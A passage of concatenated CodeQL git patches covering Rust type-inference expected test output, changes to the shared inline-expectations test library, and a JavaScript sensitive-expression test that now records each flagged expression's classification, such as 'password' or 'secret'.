main.rs:613:5:614:13 | S | +| main.rs:629:23:629:29 | &mut x4 | | file://:0:0:0:0 | & | +| main.rs:629:23:629:29 | &mut x4 | &T | main.rs:578:5:582:5 | MyOption | +| main.rs:629:23:629:29 | &mut x4 | &T.T | main.rs:613:5:614:13 | S | +| main.rs:629:28:629:29 | x4 | | main.rs:578:5:582:5 | MyOption | +| main.rs:629:28:629:29 | x4 | T | main.rs:613:5:614:13 | S | +| main.rs:629:32:629:32 | S | | main.rs:613:5:614:13 | S | +| main.rs:630:26:630:27 | x4 | | main.rs:578:5:582:5 | MyOption | +| main.rs:630:26:630:27 | x4 | T | main.rs:613:5:614:13 | S | +| main.rs:632:13:632:14 | x5 | | main.rs:578:5:582:5 | MyOption | +| main.rs:632:13:632:14 | x5 | T | main.rs:578:5:582:5 | MyOption | +| main.rs:632:13:632:14 | x5 | T.T | main.rs:613:5:614:13 | S | +| main.rs:632:18:632:58 | ...::MySome(...) | | main.rs:578:5:582:5 | MyOption | +| main.rs:632:18:632:58 | ...::MySome(...) | T | main.rs:578:5:582:5 | MyOption | +| main.rs:632:18:632:58 | ...::MySome(...) | T.T | main.rs:613:5:614:13 | S | +| main.rs:632:35:632:57 | ...::MyNone(...) | | main.rs:578:5:582:5 | MyOption | +| main.rs:632:35:632:57 | ...::MyNone(...) | T | main.rs:613:5:614:13 | S | +| main.rs:633:26:633:27 | x5 | | main.rs:578:5:582:5 | MyOption | +| main.rs:633:26:633:27 | x5 | T | main.rs:578:5:582:5 | MyOption | +| main.rs:633:26:633:27 | x5 | T.T | main.rs:613:5:614:13 | S | +| main.rs:635:13:635:14 | x6 | | main.rs:578:5:582:5 | MyOption | +| main.rs:635:13:635:14 | x6 | T | main.rs:578:5:582:5 | MyOption | +| main.rs:635:13:635:14 | x6 | T.T | main.rs:613:5:614:13 | S | +| main.rs:635:18:635:58 | ...::MySome(...) | | main.rs:578:5:582:5 | MyOption | +| main.rs:635:18:635:58 | ...::MySome(...) | T | main.rs:578:5:582:5 | MyOption | +| main.rs:635:18:635:58 | ...::MySome(...) | T.T | main.rs:613:5:614:13 | S | +| main.rs:635:35:635:57 | ...::MyNone(...) | | main.rs:578:5:582:5 | MyOption | +| main.rs:635:35:635:57 | ...::MyNone(...) | T | main.rs:613:5:614:13 | S | +| main.rs:636:26:636:61 | ...::flatten(...) | | main.rs:578:5:582:5 | MyOption | +| main.rs:636:26:636:61 | ...::flatten(...) | T | main.rs:613:5:614:13 | S | +| main.rs:636:59:636:60 | x6 | | main.rs:578:5:582:5 | MyOption | +| main.rs:636:59:636:60 | x6 | T | main.rs:578:5:582:5 | MyOption | +| main.rs:636:59:636:60 | x6 | T.T | main.rs:613:5:614:13 | S | +| main.rs:638:13:638:19 | from_if | | main.rs:578:5:582:5 | MyOption | +| main.rs:638:13:638:19 | from_if | T | main.rs:613:5:614:13 | S | +| main.rs:638:23:642:9 | if ... {...} else {...} | | main.rs:578:5:582:5 | MyOption | +| main.rs:638:23:642:9 | if ... {...} else {...} | T | main.rs:613:5:614:13 | S | +| main.rs:638:36:640:9 | { ... } | | main.rs:578:5:582:5 | MyOption | +| main.rs:638:36:640:9 | { ... } | T | main.rs:613:5:614:13 | S | +| main.rs:639:13:639:30 | ...::MyNone(...) | | main.rs:578:5:582:5 | MyOption | +| main.rs:639:13:639:30 | ...::MyNone(...) | T | main.rs:613:5:614:13 | S | +| main.rs:640:16:642:9 | { ... } | | main.rs:578:5:582:5 | MyOption | +| main.rs:640:16:642:9 | { ... } | T | main.rs:613:5:614:13 | S | +| main.rs:641:13:641:31 | ...::MySome(...) | | main.rs:578:5:582:5 | MyOption | +| main.rs:641:13:641:31 | ...::MySome(...) | T | main.rs:613:5:614:13 | S | +| main.rs:641:30:641:30 | S | | main.rs:613:5:614:13 | S | +| main.rs:643:26:643:32 | from_if | | main.rs:578:5:582:5 | MyOption | +| main.rs:643:26:643:32 | from_if | T | main.rs:613:5:614:13 | S | +| main.rs:645:13:645:22 | from_match | | main.rs:578:5:582:5 | MyOption | +| main.rs:645:13:645:22 | from_match | T | main.rs:613:5:614:13 | S | +| main.rs:645:26:648:9 | match ... { ... } | | main.rs:578:5:582:5 | MyOption | +| main.rs:645:26:648:9 | match ... { ... } | T | main.rs:613:5:614:13 | S | +| main.rs:646:21:646:38 | ...::MyNone(...) | | main.rs:578:5:582:5 | MyOption | +| main.rs:646:21:646:38 | ...::MyNone(...) | T | main.rs:613:5:614:13 | S | +| main.rs:647:22:647:40 | ...::MySome(...) | | main.rs:578:5:582:5 | MyOption | +| main.rs:647:22:647:40 | ...::MySome(...) | T | main.rs:613:5:614:13 | S | +| main.rs:647:39:647:39 | S | | main.rs:613:5:614:13 | S | +| main.rs:649:26:649:35 | from_match | | main.rs:578:5:582:5 | MyOption | +| main.rs:649:26:649:35 | from_match | T | main.rs:613:5:614:13 | S | +| main.rs:651:13:651:21 | from_loop | | main.rs:578:5:582:5 | MyOption | +| main.rs:651:13:651:21 | from_loop | T | main.rs:613:5:614:13 | S | +| main.rs:651:25:656:9 | loop { ... } | | main.rs:578:5:582:5 | MyOption | +| main.rs:651:25:656:9 | loop { ... } | T | main.rs:613:5:614:13 | S | +| main.rs:653:23:653:40 | ...::MyNone(...) | | main.rs:578:5:582:5 | MyOption | +| main.rs:653:23:653:40 | ...::MyNone(...) | T | main.rs:613:5:614:13 | S | +| main.rs:655:19:655:37 | ...::MySome(...) | | main.rs:578:5:582:5 | MyOption | +| main.rs:655:19:655:37 | ...::MySome(...) | T | main.rs:613:5:614:13 | S | +| main.rs:655:36:655:36 | S | | main.rs:613:5:614:13 | S | +| main.rs:657:26:657:34 | from_loop | | main.rs:578:5:582:5 | MyOption | +| main.rs:657:26:657:34 | from_loop | T | main.rs:613:5:614:13 | S | +| main.rs:670:15:670:18 | SelfParam | | main.rs:663:5:664:19 | S | +| main.rs:670:15:670:18 | SelfParam | T | main.rs:669:10:669:10 | T | +| main.rs:670:26:672:9 | { ... } | | main.rs:669:10:669:10 | T | +| main.rs:671:13:671:16 | self | | main.rs:663:5:664:19 | S | +| main.rs:671:13:671:16 | self | T | main.rs:669:10:669:10 | T | +| main.rs:671:13:671:18 | self.0 | | main.rs:669:10:669:10 | T | +| main.rs:674:15:674:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:674:15:674:19 | SelfParam | &T | main.rs:663:5:664:19 | S | +| main.rs:674:15:674:19 | SelfParam | &T.T | main.rs:669:10:669:10 | T | +| main.rs:674:28:676:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:674:28:676:9 | { ... } | &T | main.rs:669:10:669:10 | T | +| main.rs:675:13:675:19 | &... | | file://:0:0:0:0 | & | +| main.rs:675:13:675:19 | &... | &T | main.rs:669:10:669:10 | T | +| main.rs:675:14:675:17 | self | | file://:0:0:0:0 | & | +| main.rs:675:14:675:17 | self | &T | main.rs:663:5:664:19 | S | +| main.rs:675:14:675:17 | self | &T.T | main.rs:669:10:669:10 | T | +| main.rs:675:14:675:19 | self.0 | | main.rs:669:10:669:10 | T | +| main.rs:678:15:678:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:678:15:678:25 | SelfParam | &T | main.rs:663:5:664:19 | S | +| main.rs:678:15:678:25 | SelfParam | &T.T | main.rs:669:10:669:10 | T | +| main.rs:678:34:680:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:678:34:680:9 | { ... } | &T | main.rs:669:10:669:10 | T | +| main.rs:679:13:679:19 | &... | | file://:0:0:0:0 | & | +| main.rs:679:13:679:19 | &... | &T | main.rs:669:10:669:10 | T | +| main.rs:679:14:679:17 | self | | file://:0:0:0:0 | & | +| main.rs:679:14:679:17 | self | &T | main.rs:663:5:664:19 | S | +| main.rs:679:14:679:17 | self | &T.T | main.rs:669:10:669:10 | T | +| main.rs:679:14:679:19 | self.0 | | main.rs:669:10:669:10 | T | +| main.rs:684:13:684:14 | x1 | | main.rs:663:5:664:19 | S | +| main.rs:684:13:684:14 | x1 | T | main.rs:666:5:667:14 | S2 | +| main.rs:684:18:684:22 | S(...) | | main.rs:663:5:664:19 | S | +| main.rs:684:18:684:22 | S(...) | T | main.rs:666:5:667:14 | S2 | +| main.rs:684:20:684:21 | S2 | | main.rs:666:5:667:14 | S2 | +| main.rs:685:26:685:27 | x1 | | main.rs:663:5:664:19 | S | +| main.rs:685:26:685:27 | x1 | T | main.rs:666:5:667:14 | S2 | +| main.rs:685:26:685:32 | x1.m1() | | main.rs:666:5:667:14 | S2 | +| main.rs:687:13:687:14 | x2 | | main.rs:663:5:664:19 | S | +| main.rs:687:13:687:14 | x2 | T | main.rs:666:5:667:14 | S2 | +| main.rs:687:18:687:22 | S(...) | | main.rs:663:5:664:19 | S | +| main.rs:687:18:687:22 | S(...) | T | main.rs:666:5:667:14 | S2 | +| main.rs:687:20:687:21 | S2 | | main.rs:666:5:667:14 | S2 | +| main.rs:689:26:689:27 | x2 | | main.rs:663:5:664:19 | S | +| main.rs:689:26:689:27 | x2 | T | main.rs:666:5:667:14 | S2 | +| main.rs:689:26:689:32 | x2.m2() | | file://:0:0:0:0 | & | +| main.rs:689:26:689:32 | x2.m2() | &T | main.rs:666:5:667:14 | S2 | +| main.rs:690:26:690:27 | x2 | | main.rs:663:5:664:19 | S | +| main.rs:690:26:690:27 | x2 | T | main.rs:666:5:667:14 | S2 | +| main.rs:690:26:690:32 | x2.m3() | | file://:0:0:0:0 | & | +| main.rs:690:26:690:32 | x2.m3() | &T | main.rs:666:5:667:14 | S2 | +| main.rs:692:13:692:14 | x3 | | main.rs:663:5:664:19 | S | +| main.rs:692:13:692:14 | x3 | T | main.rs:666:5:667:14 | S2 | +| main.rs:692:18:692:22 | S(...) | | main.rs:663:5:664:19 | S | +| main.rs:692:18:692:22 | S(...) | T | main.rs:666:5:667:14 | S2 | +| main.rs:692:20:692:21 | S2 | | main.rs:666:5:667:14 | S2 | +| main.rs:694:26:694:41 | ...::m2(...) | | file://:0:0:0:0 | & | +| main.rs:694:26:694:41 | ...::m2(...) | &T | main.rs:666:5:667:14 | S2 | +| main.rs:694:38:694:40 | &x3 | | file://:0:0:0:0 | & | +| main.rs:694:38:694:40 | &x3 | &T | main.rs:663:5:664:19 | S | +| main.rs:694:38:694:40 | &x3 | &T.T | main.rs:666:5:667:14 | S2 | +| main.rs:694:39:694:40 | x3 | | main.rs:663:5:664:19 | S | +| main.rs:694:39:694:40 | x3 | T | main.rs:666:5:667:14 | S2 | +| main.rs:695:26:695:41 | ...::m3(...) | | file://:0:0:0:0 | & | +| main.rs:695:26:695:41 | ...::m3(...) | &T | main.rs:666:5:667:14 | S2 | +| main.rs:695:38:695:40 | &x3 | | file://:0:0:0:0 | & | +| main.rs:695:38:695:40 | &x3 | &T | main.rs:663:5:664:19 | S | +| main.rs:695:38:695:40 | &x3 | &T.T | main.rs:666:5:667:14 | S2 | +| main.rs:695:39:695:40 | x3 | | main.rs:663:5:664:19 | S | +| main.rs:695:39:695:40 | x3 | T | main.rs:666:5:667:14 | S2 | +| main.rs:697:13:697:14 | x4 | | file://:0:0:0:0 | & | +| main.rs:697:13:697:14 | x4 | &T | main.rs:663:5:664:19 | S | +| main.rs:697:13:697:14 | x4 | &T.T | main.rs:666:5:667:14 | S2 | +| main.rs:697:18:697:23 | &... | | file://:0:0:0:0 | & | +| main.rs:697:18:697:23 | &... | &T | main.rs:663:5:664:19 | S | +| main.rs:697:18:697:23 | &... | &T.T | main.rs:666:5:667:14 | S2 | +| main.rs:697:19:697:23 | S(...) | | main.rs:663:5:664:19 | S | +| main.rs:697:19:697:23 | S(...) | T | main.rs:666:5:667:14 | S2 | +| main.rs:697:21:697:22 | S2 | | main.rs:666:5:667:14 | S2 | +| main.rs:699:26:699:27 | x4 | | file://:0:0:0:0 | & | +| main.rs:699:26:699:27 | x4 | &T | main.rs:663:5:664:19 | S | +| main.rs:699:26:699:27 | x4 | &T.T | main.rs:666:5:667:14 | S2 | +| main.rs:699:26:699:32 | x4.m2() | | file://:0:0:0:0 | & | +| main.rs:699:26:699:32 | x4.m2() | &T | main.rs:666:5:667:14 | S2 | +| main.rs:700:26:700:27 | x4 | | file://:0:0:0:0 | & | +| main.rs:700:26:700:27 | x4 | &T | main.rs:663:5:664:19 | S | +| main.rs:700:26:700:27 | x4 | &T.T | main.rs:666:5:667:14 | S2 | +| main.rs:700:26:700:32 | x4.m3() | | file://:0:0:0:0 | & | +| main.rs:700:26:700:32 | x4.m3() | &T | main.rs:666:5:667:14 | S2 | +| main.rs:702:13:702:14 | x5 | | file://:0:0:0:0 | & | +| main.rs:702:13:702:14 | x5 | &T | main.rs:663:5:664:19 | S | +| main.rs:702:13:702:14 | x5 | &T.T | main.rs:666:5:667:14 | S2 | +| main.rs:702:18:702:23 | &... | | file://:0:0:0:0 | & | +| main.rs:702:18:702:23 | &... | &T | main.rs:663:5:664:19 | S | +| main.rs:702:18:702:23 | &... | &T.T | main.rs:666:5:667:14 | S2 | +| main.rs:702:19:702:23 | S(...) | | main.rs:663:5:664:19 | S | +| main.rs:702:19:702:23 | S(...) | T | main.rs:666:5:667:14 | S2 | +| main.rs:702:21:702:22 | S2 | | main.rs:666:5:667:14 | S2 | +| main.rs:704:26:704:27 | x5 | | file://:0:0:0:0 | & | +| main.rs:704:26:704:27 | x5 | &T | main.rs:663:5:664:19 | S | +| main.rs:704:26:704:27 | x5 | &T.T | main.rs:666:5:667:14 | S2 | +| main.rs:704:26:704:32 | x5.m1() | | main.rs:666:5:667:14 | S2 | +| main.rs:705:26:705:27 | x5 | | file://:0:0:0:0 | & | +| main.rs:705:26:705:27 | x5 | &T | main.rs:663:5:664:19 | S | +| main.rs:705:26:705:27 | x5 | &T.T | main.rs:666:5:667:14 | S2 | +| main.rs:705:26:705:29 | x5.0 | | main.rs:666:5:667:14 | S2 | +| main.rs:707:13:707:14 | x6 | | file://:0:0:0:0 | & | +| main.rs:707:13:707:14 | x6 | &T | main.rs:663:5:664:19 | S | +| main.rs:707:13:707:14 | x6 | &T.T | main.rs:666:5:667:14 | S2 | +| main.rs:707:18:707:23 | &... | | file://:0:0:0:0 | & | +| main.rs:707:18:707:23 | &... | &T | main.rs:663:5:664:19 | S | +| main.rs:707:18:707:23 | &... | &T.T | main.rs:666:5:667:14 | S2 | +| main.rs:707:19:707:23 | S(...) | | main.rs:663:5:664:19 | S | +| main.rs:707:19:707:23 | S(...) | T | main.rs:666:5:667:14 | S2 | +| main.rs:707:21:707:22 | S2 | | main.rs:666:5:667:14 | S2 | +| main.rs:709:26:709:30 | (...) | | main.rs:663:5:664:19 | S | +| main.rs:709:26:709:30 | (...) | T | main.rs:666:5:667:14 | S2 | +| main.rs:709:26:709:35 | ... .m1() | | main.rs:666:5:667:14 | S2 | +| main.rs:709:27:709:29 | * ... | | main.rs:663:5:664:19 | S | +| main.rs:709:27:709:29 | * ... | T | main.rs:666:5:667:14 | S2 | +| main.rs:709:28:709:29 | x6 | | file://:0:0:0:0 | & | +| main.rs:709:28:709:29 | x6 | &T | main.rs:663:5:664:19 | S | +| main.rs:709:28:709:29 | x6 | &T.T | main.rs:666:5:667:14 | S2 | +| main.rs:716:16:716:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:716:16:716:20 | SelfParam | &T | main.rs:714:5:722:5 | Self [trait MyTrait] | +| main.rs:719:16:719:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:719:16:719:20 | SelfParam | &T | main.rs:714:5:722:5 | Self [trait MyTrait] | +| main.rs:719:32:721:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:719:32:721:9 | { ... } | &T | main.rs:714:5:722:5 | Self [trait MyTrait] | +| main.rs:720:13:720:16 | self | | file://:0:0:0:0 | & | +| main.rs:720:13:720:16 | self | &T | main.rs:714:5:722:5 | Self [trait MyTrait] | +| main.rs:720:13:720:22 | self.foo() | | file://:0:0:0:0 | & | +| main.rs:720:13:720:22 | self.foo() | &T | main.rs:714:5:722:5 | Self [trait MyTrait] | +| main.rs:728:16:728:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:728:16:728:20 | SelfParam | &T | main.rs:724:5:724:20 | MyStruct | +| main.rs:728:36:730:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:728:36:730:9 | { ... } | &T | main.rs:724:5:724:20 | MyStruct | +| main.rs:729:13:729:16 | self | | file://:0:0:0:0 | & | +| main.rs:729:13:729:16 | self | &T | main.rs:724:5:724:20 | MyStruct | +| main.rs:734:13:734:13 | x | | main.rs:724:5:724:20 | MyStruct | +| main.rs:734:17:734:24 | MyStruct | | main.rs:724:5:724:20 | MyStruct | +| main.rs:735:9:735:9 | x | | main.rs:724:5:724:20 | MyStruct | +| main.rs:735:9:735:15 | x.bar() | | file://:0:0:0:0 | & | +| main.rs:735:9:735:15 | x.bar() | &T | main.rs:724:5:724:20 | MyStruct | +| main.rs:745:16:745:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:745:16:745:20 | SelfParam | &T | main.rs:742:5:742:26 | MyStruct | +| main.rs:745:16:745:20 | SelfParam | &T.T | main.rs:744:10:744:10 | T | +| main.rs:745:32:747:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:745:32:747:9 | { ... } | &T | main.rs:742:5:742:26 | MyStruct | +| main.rs:745:32:747:9 | { ... } | &T.T | main.rs:744:10:744:10 | T | +| main.rs:746:13:746:16 | self | | file://:0:0:0:0 | & | +| main.rs:746:13:746:16 | self | &T | main.rs:742:5:742:26 | MyStruct | +| main.rs:746:13:746:16 | self | &T.T | main.rs:744:10:744:10 | T | +| main.rs:751:13:751:13 | x | | main.rs:742:5:742:26 | MyStruct | +| main.rs:751:13:751:13 | x | T | main.rs:740:5:740:13 | S | +| main.rs:751:17:751:27 | MyStruct(...) | | main.rs:742:5:742:26 | MyStruct | +| main.rs:751:17:751:27 | MyStruct(...) | T | main.rs:740:5:740:13 | S | +| main.rs:751:26:751:26 | S | | main.rs:740:5:740:13 | S | +| main.rs:752:9:752:9 | x | | main.rs:742:5:742:26 | MyStruct | +| main.rs:752:9:752:9 | x | T | main.rs:740:5:740:13 | S | +| main.rs:752:9:752:15 | x.foo() | | file://:0:0:0:0 | & | +| main.rs:752:9:752:15 | x.foo() | &T | main.rs:742:5:742:26 | MyStruct | +| main.rs:752:9:752:15 | x.foo() | &T.T | main.rs:740:5:740:13 | S | +| main.rs:760:15:760:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:760:15:760:19 | SelfParam | &T | main.rs:757:5:757:13 | S | +| main.rs:760:31:762:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:760:31:762:9 | { ... } | &T | main.rs:757:5:757:13 | S | +| main.rs:761:13:761:19 | &... | | file://:0:0:0:0 | & | +| main.rs:761:13:761:19 | &... | &T | main.rs:757:5:757:13 | S | +| main.rs:761:14:761:19 | &... | | file://:0:0:0:0 | & | +| main.rs:761:14:761:19 | &... | &T | main.rs:757:5:757:13 | S | +| main.rs:761:15:761:19 | &self | | file://:0:0:0:0 | & | +| main.rs:761:15:761:19 | &self | &T | main.rs:757:5:757:13 | S | +| main.rs:761:16:761:19 | self | | file://:0:0:0:0 | & | +| main.rs:761:16:761:19 | self | &T | main.rs:757:5:757:13 | S | +| main.rs:764:15:764:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:764:15:764:25 | SelfParam | &T | main.rs:757:5:757:13 | S | +| main.rs:764:37:766:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:764:37:766:9 | { ... } | &T | main.rs:757:5:757:13 | S | +| main.rs:765:13:765:19 | &... | | file://:0:0:0:0 | & | +| main.rs:765:13:765:19 | &... | &T | main.rs:757:5:757:13 | S | +| main.rs:765:14:765:19 | &... | | file://:0:0:0:0 | & | +| main.rs:765:14:765:19 | &... | &T | main.rs:757:5:757:13 | S | +| main.rs:765:15:765:19 | &self | | file://:0:0:0:0 | & | +| main.rs:765:15:765:19 | &self | &T | main.rs:757:5:757:13 | S | +| main.rs:765:16:765:19 | self | | file://:0:0:0:0 | & | +| main.rs:765:16:765:19 | self | &T | main.rs:757:5:757:13 | S | +| main.rs:768:15:768:15 | x | | file://:0:0:0:0 | & | +| main.rs:768:15:768:15 | x | &T | main.rs:757:5:757:13 | S | +| main.rs:768:34:770:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:768:34:770:9 | { ... } | &T | main.rs:757:5:757:13 | S | +| main.rs:769:13:769:13 | x | | file://:0:0:0:0 | & | +| main.rs:769:13:769:13 | x | &T | main.rs:757:5:757:13 | S | +| main.rs:772:15:772:15 | x | | file://:0:0:0:0 | & | +| main.rs:772:15:772:15 | x | &T | main.rs:757:5:757:13 | S | +| main.rs:772:34:774:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:772:34:774:9 | { ... } | &T | main.rs:757:5:757:13 | S | +| main.rs:773:13:773:16 | &... | | file://:0:0:0:0 | & | +| main.rs:773:13:773:16 | &... | &T | main.rs:757:5:757:13 | S | +| main.rs:773:14:773:16 | &... | | file://:0:0:0:0 | & | +| main.rs:773:14:773:16 | &... | &T | main.rs:757:5:757:13 | S | +| main.rs:773:15:773:16 | &x | | file://:0:0:0:0 | & | +| main.rs:773:15:773:16 | &x | &T | main.rs:757:5:757:13 | S | +| main.rs:773:16:773:16 | x | | file://:0:0:0:0 | & | +| main.rs:773:16:773:16 | x | &T | main.rs:757:5:757:13 | S | +| main.rs:778:13:778:13 | x | | main.rs:757:5:757:13 | S | +| main.rs:778:17:778:20 | S {...} | | main.rs:757:5:757:13 | S | +| main.rs:779:9:779:9 | x | | main.rs:757:5:757:13 | S | +| main.rs:779:9:779:14 | x.f1() | | file://:0:0:0:0 | & | +| main.rs:779:9:779:14 | x.f1() | &T | main.rs:757:5:757:13 | S | +| main.rs:780:9:780:9 | x | | main.rs:757:5:757:13 | S | +| main.rs:780:9:780:14 | x.f2() | | file://:0:0:0:0 | & | +| main.rs:780:9:780:14 | x.f2() | &T | main.rs:757:5:757:13 | S | +| main.rs:781:9:781:17 | ...::f3(...) | | file://:0:0:0:0 | & | +| main.rs:781:9:781:17 | ...::f3(...) | &T | main.rs:757:5:757:13 | S | +| main.rs:781:15:781:16 | &x | | file://:0:0:0:0 | & | +| main.rs:781:15:781:16 | &x | &T | main.rs:757:5:757:13 | S | +| main.rs:781:16:781:16 | x | | main.rs:757:5:757:13 | S | +| main.rs:787:5:787:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:788:5:788:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:788:20:788:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:788:41:788:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | diff --git a/rust/ql/test/library-tests/type-inference/type-inference.ql b/rust/ql/test/library-tests/type-inference/type-inference.ql index 67f02c96cfa..b0e47e7f574 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.ql +++ b/rust/ql/test/library-tests/type-inference/type-inference.ql @@ -1,18 +1,60 @@ import rust +import utils.test.InlineExpectationsTest import codeql.rust.internal.TypeInference as TypeInference import TypeInference -import utils.test.InlineExpectationsTest query predicate inferType(AstNode n, TypePath path, Type t) { t = TypeInference::inferType(n, path) } -query predicate resolveMethodCallExpr(MethodCallExpr mce, Function f) { - f = resolveMethodCallExpr(mce) +module ResolveTest implements TestSig { + string getARelevantTag() { result = ["method", "fieldof"] } + + private predicate functionHasValue(Function f, string value) { + f.getPrecedingComment().getCommentText() = value + or + not exists(f.getPrecedingComment()) and + value = f.getName().getText() + } + + predicate hasActualResult(Location location, string element, string tag, string value) { + exists(AstNode source, AstNode target | + location = source.getLocation() and + element = source.toString() + | + target = resolveMethodCallExpr(source) and + functionHasValue(target, value) and + tag = "method" + or + target = resolveStructFieldExpr(source) and + any(Struct s | s.getStructField(_) = target).getName().getText() = value and + tag = "fieldof" + or + target = resolveTupleFieldExpr(source) and + any(Struct s | s.getTupleField(_) = target).getName().getText() = value and + tag = "fieldof" + ) + } } -query predicate resolveFieldExpr(FieldExpr fe, AstNode target) { - target = resolveStructFieldExpr(fe) - or - target = resolveTupleFieldExpr(fe) +module TypeTest implements TestSig { + string getARelevantTag() { result = "type" } + + predicate tagIsOptional(string expectedTag) { expectedTag = "type" } + + predicate hasActualResult(Location location, string element, string tag, string value) { none() } + + predicate hasOptionalResult(Location location, string element, string tag, string value) { + tag = "type" and + exists(AstNode n, TypePath path, Type t | + t = TypeInference::inferType(n, path) and + location = n.getLocation() and + element = n.toString() and + if path.isEmpty() + then value = element + ":" + t + else value = element + ":" + path.toString() + "." + t.toString() + ) + } } + +import MakeTest> From c49ffa01eebc42df13a904d9fa1e2d972d0a0a0d Mon Sep 17 00:00:00 2001 From: Asger F Date: Thu, 3 Apr 2025 12:27:42 +0200 Subject: [PATCH 265/282] JS: Enable post-processed inline expectations for query predicates --- .../util/test/InlineExpectationsTest.qll | 49 ++++++++++++++++--- 1 file changed, 41 insertions(+), 8 deletions(-) diff --git a/shared/util/codeql/util/test/InlineExpectationsTest.qll b/shared/util/codeql/util/test/InlineExpectationsTest.qll index f67f54da937..5fe8932808c 100644 --- a/shared/util/codeql/util/test/InlineExpectationsTest.qll +++ b/shared/util/codeql/util/test/InlineExpectationsTest.qll @@ -858,17 +858,26 @@ module TestPostProcessing { bindingset[result] string getARelevantTag() { any() } - predicate tagMatches = PathProblemSourceTestInput::tagMatches/2; + bindingset[expectedTag, actualTag] + predicate tagMatches(string expectedTag, string actualTag) { + PathProblemSourceTestInput::tagMatches(expectedTag, actualTag) + or + not exists(getQueryKind()) and + expectedTag = actualTag + } bindingset[expectedTag] predicate tagIsOptional(string expectedTag) { - // ignore irrelevant tags - not expectedTag.regexpMatch(getTagRegex()) - or - // ignore tags annotated with a query ID that does not match the current query ID - exists(string queryId | - queryId = expectedTag.regexpCapture(getTagRegex(), 3) and - queryId != getQueryId() + exists(getQueryKind()) and + ( + // ignore irrelevant tags + not expectedTag.regexpMatch(getTagRegex()) + or + // ignore tags annotated with a query ID that does not match the current query ID + exists(string queryId | + queryId = expectedTag.regexpCapture(getTagRegex(), 3) and + queryId != getQueryId() + ) ) } @@ -911,6 +920,28 @@ module TestPostProcessing { not hasPathProblemSink(row, location, _, _) } + /** + * Holds if a custom query predicate implies `tag=value` at the given `location`. + * + * Such query predicates are only allowed in kind-less queries, usually in the form + * of a `.ql` file in a test folder, with a same-named `.qlref` file to enable + * post-processing for that test. + */ + private predicate hasCustomQueryPredicateResult( + int row, TestLocation location, string element, string tag, string value + ) { + not exists(getQueryKind()) and + queryResults(tag, row, 0, location.getRelativeUrl()) and + queryResults(tag, row, 1, element) and + ( + queryResults(tag, row, 2, value) and + not queryResults(tag, row, 3, _) // ignore if arity is greater than expected + or + not queryResults(tag, row, 2, _) and + value = "" // allow value-less expectations for unary predicates + ) + } + /** * Gets the expected value for result row `row`, if any. This value must * match the value at the corresponding path-problem source (if it is @@ -939,6 +970,8 @@ module TestPostProcessing { or value = getValue(row) ) + or + hasCustomQueryPredicateResult(_, location, element, tag, value) } } From 14c5495b4c48b9d53f1e6e38c9d2e386bdca623e Mon Sep 17 00:00:00 2001 From: Asger F Date: Thu, 3 Apr 2025 13:21:26 +0200 Subject: [PATCH 266/282] JS: Use in SensitiveActions test as an example --- .../SensitiveActions/tests.expected | 22 ++++++++-------- .../library-tests/SensitiveActions/tests.ql | 2 +- .../SensitiveActions/tests.qlref | 2 ++ .../library-tests/SensitiveActions/tst.js | 26 +++++++++---------- 4 files changed, 27 insertions(+), 25 deletions(-) create mode 100644 javascript/ql/test/library-tests/SensitiveActions/tests.qlref diff --git a/javascript/ql/test/library-tests/SensitiveActions/tests.expected b/javascript/ql/test/library-tests/SensitiveActions/tests.expected index 2c0dfff14f7..cbbe7c1a0db 100644 --- a/javascript/ql/test/library-tests/SensitiveActions/tests.expected +++ b/javascript/ql/test/library-tests/SensitiveActions/tests.expected @@ -31,14 +31,14 @@ sensitiveAction | tst.js:23:1:23:25 | require ... .exit() | | tst.js:24:1:24:21 | global. ... .exit() | sensitiveExpr -| tst.js:1:1:1:8 | password | -| tst.js:2:1:2:8 | PassWord | -| tst.js:3:1:3:21 | myPassw ... eartext | -| tst.js:4:1:4:10 | x.password | -| tst.js:5:1:5:11 | getPassword | -| tst.js:5:1:5:13 | getPassword() | -| tst.js:6:1:6:13 | x.getPassword | -| tst.js:6:1:6:15 | x.getPassword() | -| tst.js:7:1:7:15 | get("password") | -| tst.js:8:1:8:17 | x.get("password") | -| tst.js:21:1:21:6 | secret | +| tst.js:1:1:1:8 | password | password | +| tst.js:2:1:2:8 | PassWord | password | +| tst.js:3:1:3:21 | myPassw ... eartext | password | +| tst.js:4:1:4:10 | x.password | password | +| tst.js:5:1:5:11 | getPassword | password | +| tst.js:5:1:5:13 | getPassword() | password | +| tst.js:6:1:6:13 | x.getPassword | password | +| tst.js:6:1:6:15 | x.getPassword() | password | +| tst.js:7:1:7:15 | get("password") | password | +| tst.js:8:1:8:17 | x.get("password") | password | +| tst.js:21:1:21:6 | secret | secret | diff --git a/javascript/ql/test/library-tests/SensitiveActions/tests.ql b/javascript/ql/test/library-tests/SensitiveActions/tests.ql index e1cd2cbd095..d7273fe13b7 100644 --- a/javascript/ql/test/library-tests/SensitiveActions/tests.ql +++ b/javascript/ql/test/library-tests/SensitiveActions/tests.ql @@ -20,4 +20,4 @@ query predicate processTermination(NodeJSLib::ProcessTermination term) { any() } query predicate sensitiveAction(SensitiveAction ac) { any() } -query predicate sensitiveExpr(SensitiveNode e) { any() } +query predicate sensitiveExpr(SensitiveNode e, string kind) { kind = e.getClassification() } diff --git a/javascript/ql/test/library-tests/SensitiveActions/tests.qlref 